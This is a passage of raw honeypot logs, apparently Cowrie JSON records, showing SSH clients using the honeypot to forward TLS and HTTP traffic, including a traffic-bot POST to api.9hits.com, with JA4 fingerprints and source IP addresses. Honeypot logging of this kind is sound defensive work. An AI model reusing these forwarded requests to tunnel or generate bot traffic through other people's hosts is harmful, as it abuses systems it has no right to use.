x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9eH*\\xfdq/G\\xe7s\\xbf\\xc9}t:\\xbf\\x88k-\\xc9\\xcc\\x8c\\xb9O\\xd8h\\xad\\xe8\\xdc\\x96V\\xe9\\xb7 S\\xbe\\xb7iq!\\xc7\\xc2\\xf6\\x03\\xcf\\x98\\xc8\\xa1^\\xcd\\xd0$\\x93w\\xde\\xe89\\x02\\xd7\\xe5g\\x1f|e4'\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf4\\x1a\\xae3\\xe0\\xbb\\xa0\\xcf\\xfd\\xc6\\xe4\\xe7\\x05-\\xb8wH=\\xb6\\xdf\\xc2$\\x87\\xcd0{\\x95\\xfe\\xbcN\\x9c5\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:14.849414Z","src_ip":"113.164.152.20","session":"581e188dae53","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:15.398596Z","session":"581e188dae53","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:15.678854Z","src_ip":"113.164.152.20","session":"581e188dae53","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf9\\x0b\\x85\\xd7\\xd7\\xe2\\x95^\\x17\\xb8\\xa5\\xe1\\x07\\x10\\x98\\xf61\\x8e\\xe1\\x1e\\xb8\\x10l\\xc0\\xa6\\xd6\\xf5\\xde\\xe3VX\\xc3 \\x81\\xcf0\\xe0\\x04IL\\xe9(/7\\x840\\xd8\\xbfOR\\x82\\x8a\\xb7\\x00\\xff\\xd2\\xbc\\x17L?_\\xf3\\xff\\x00\\xc7\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xaa\\x9b\\xf6)h\\x15)\\x14\\xf0U\\x97\\xf1\\x00\\x1d\\xe1\\xfd\\x9b\\xac\\x843\\x9bJ\\xdf}X\\xde\\xd0\\x91\\xa4\\x14mt\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf9\\x0b\\x85\\xd7\\xd7\\xe2\\x95^\\x17\\xb8\\xa5\\xe1\\x07\\x10\\x98\\xf61\\x8e\\xe1\\x1e\\xb8\\x10l\\xc0\\xa6\\xd6\\xf5\\xde\\xe3VX\\xc3 \\x81\\xcf0\\xe0\\x04IL\\xe9(/7\\x840\\xd8\\xbfOR\\x82\\x8a\\xb7\\x00\\xff\\xd2\\xbc\\x17L?_\\xf3\\xff\\x00\\xc7\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xaa\\x9b\\xf6)h\\x15)\\x14\\xf0U\\x97\\xf1\\x00\\x1d\\xe1\\xfd\\x9b\\xac\\x843\\x9bJ\\xdf}X\\xde\\xd0\\x91\\xa4\\x14mt\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:15.681898Z","src_ip":"113.164.152.20","session":"581e188dae53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.315186500549316,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:15.970151Z","src_ip":"66.132.224.231","session":"6cb02279eb13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:16.121483Z","src_ip":"113.164.152.20","session":"581e188dae53","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:17.017277Z","session":"37fe2a74a235","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:17.024192Z","session":"37fe2a74a235","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:17.070338Z","src_ip":"173.208.188.210","session":"37fe2a74a235","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; K9 Pro 5G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=aj9OdFNKOTE%2BbWVaejl4Pg%3D%3DwyshO6tGpsl3UkrZGbqRZg1vgxDSkdHLnz9tr4Tq6IZZ5ISixxQhyRngUaKaE4%2FxBxhliEcfS2vt6A6y7mZwh2B9EPl%2BhSykCDOW8cpvjX%2F6zuD7i%2FCVBSMDjuqbZVgDHYJAB4zN26taDJ%2BvfL%2FHt6KTVV2%2FJTfG4HeLF%2BsTcW8uDsszWLeZNSGo1GtJ2bQbfeC2T8N%2BFq5aLm0zZkZopRyqMWgBfVESbzNxG2tSyny4JfSs7bkUox0%2FiFFKwuOhquODTHxrGnMFPnqftB5ALfh3y3Bj%2FpcLx%2FhZgqcxpU%2F1wBBRy2Xcr9lZWn9riVjHhsRu03lELXZDBI7yeHtcg5zhYVDQ6%2FC%2BWU9BLzfe8vvUwsyFq3HmPJy5fq3q%2FFQUqfjX5zLlmZN6XamvSGEFuPoDozCSYDKNImhjLZGwINDopAlOU9FoXefFvwtH2uHKTdPI1x%2BPNn7BR4Li2CmpJYY6dYXq1Vi7WBFYm9RUqIwXqsG9Dp0%2FbNGxFJiUN4JzFPEJnz%2F40ZjLYdCXg2zJ91iHXHDLqi1SmAG7iaUbaweY9Q050VddQpf13K5cOlTwXpvQiapmX6BhlrWtcGolI0APkhwPAgSA2IsjrtzTU7iy%2FKhPfrduQKKSTGUtDw33fxJHniCM0U85tJ10iyIe0g2zbpI%2FFsXqCKGfpCx7d4LKHFdf5I2vc1iXA%2B3mJN%2F5OGKWyZz60QheLHcJUuriViGv%2F4NWQXXTV6e8EQURR9povS6TH4HAwHODp2TYq8rcskmWbAqOyADdSvNPvbwYnrvDwt3MWgxoPE1DnBt%2FJNjq59dFq1Tn9wBvQOUEbFXRUOU57O93ESxxhbk%2FF1Vr7xhSSntRkm4VwQcTqiwpMEySh2QMFuiR%2FZGwh14DljTuhQE93Dil4%2FShpUiKpXL7YlUjDTjKsqW47O4IlISTp%2BhgdwG5vcSSmTNuYA91tKDAx3JYYLSseUtdOdGPaFp29Zjbxw7Gco7RyWStao7qSFhpvStu7pneYM6SahFeLEq%2Fqo128vlDllyKEy98nZy5KRCovqzQ9TdHnXo%2F7%2F7TwFM%3D'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; K9 Pro 5G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=aj9OdFNKOTE%2BbWVaejl4Pg%3D%3DwyshO6tGpsl3UkrZGbqRZg1vgxDSkdHLnz9tr4Tq6IZZ5ISixxQhyRngUaKaE4%2FxBxhliEcfS2vt6A6y7mZwh2B9EPl%2BhSykCDOW8cpvjX%2F6zuD7i%2FCVBSMDjuqbZVgDHYJAB4zN26taDJ%2BvfL%2FHt6KTVV2%2FJTfG4HeLF%2BsTcW8uDsszWLeZNSGo1GtJ2bQbfeC2T8N%2BFq5aLm0zZkZopRyqMWgBfVESbzNxG2tSyny4JfSs7bkUox0%2FiFFKwuOhquODTHxrGnMFPnqftB5ALfh3y3Bj%2FpcLx%2FhZgqcxpU%2F1wBBRy2Xcr9lZWn9riVjHhsRu03lELXZDBI7yeHtcg5zhYVDQ6%2FC%2BWU9BLzfe8vvUwsyFq3HmPJy5fq3q%2FFQUqfjX5zLlmZN6XamvSGEFuPoDozCSYDKNImhjLZGwINDopAlOU9FoXefFvwtH2uHKTdPI1x%2BPNn7BR4Li2CmpJYY6dYXq1Vi7WBFYm9RUqIwXqsG9Dp0%2FbNGxFJiUN4JzFPEJnz%2F40ZjLYdCXg2zJ91iHXHDLqi1SmAG7iaUbaweY9Q050VddQpf13K5cOlTwXpvQiapmX6BhlrWtcGolI0APkhwPAgSA2IsjrtzTU7iy%2FKhPfrduQKKSTGUtDw33fxJHniCM0U85tJ10iyIe0g2zbpI%2FFsXqCKGfpCx7d4LKHFdf5I2vc1iXA%2B3mJN%2F5OGKWyZz60QheLHcJUuriViGv%2F4NWQXXTV6e8EQURR9povS6TH4HAwHODp2TYq8rcskmWbAqOyADdSvNPvbwYnrvDwt3MWgxoPE1DnBt%2FJNjq59dFq1Tn9wBvQOUEbFXRUOU57O93ESxxhbk%2FF1Vr7xhSSntRkm4VwQcTqiwpMEySh2QMFuiR%2FZGwh14DljTuhQE93Dil4%2FShpUiKpXL7YlUjDTjKsqW47O4IlISTp%2BhgdwG5vcSSmTNuYA91tKDAx3JYYLSseUtdOdGPaFp29Zjbxw7Gco7RyWStao7qSFhpvStu7pneYM6SahFeLEq%2Fqo128vlDllyKEy98nZy5KRCovqzQ9TdHnXo%2F7%2F7TwFM%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:17.073887Z","src_ip":"173.208.188.210","session":"37fe2a74a235","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:17.864675Z","session":"37fe2a74a235","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:31:17.901419Z","src_ip":"173.208.188.210","session":"37fe2a74a235","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd8\\xd5\\x05\\x14\\xc7\\xd2\\x94\\xd6$\\xf4\\x9f\\x1e^\\xde\\xfe\\xed|\\xa8\\xea\\xa0\\xee\\xda\\r\\xf5bJ\\xae\\xa8\\xed\\x95GL (\\x02GV\\x08\\xcf0\\x0e\\xb7\\xb7\\xb2QE|\\xb6>F*r\\x00Z\\xeb\\xa3\\x05\\xfc\\xfc\\xb6\\xd2@\\xe1\\x89\\x9f\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 v\\xb9\\xcf\\x81\\xf2\\x12*\\x9b\\x1e\\x138&\\x84\\x9a\\xd1\\xc4\\x01}\\xb5\\x1d\\xba\\t\\xc4\\n\\xf4\\xadb\\x93\\xc6\\xab\\xf7\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd8\\xd5\\x05\\x14\\xc7\\xd2\\x94\\xd6$\\xf4\\x9f\\x1e^\\xde\\xfe\\xed|\\xa8\\xea\\xa0\\xee\\xda\\r\\xf5bJ\\xae\\xa8\\xed\\x95GL (\\x02GV\\x08\\xcf0\\x0e\\xb7\\xb7\\xb2QE|\\xb6>F*r\\x00Z\\xeb\\xa3\\x05\\xfc\\xfc\\xb6\\xd2@\\xe1\\x89\\x9f\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 v\\xb9\\xcf\\x81\\xf2\\x12*\\x9b\\x1e\\x138&\\x84\\x9a\\xd1\\xc4\\x01}\\xb5\\x1d\\xba\\t\\xc4\\n\\xf4\\xadb\\x93\\xc6\\xab\\xf7\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-1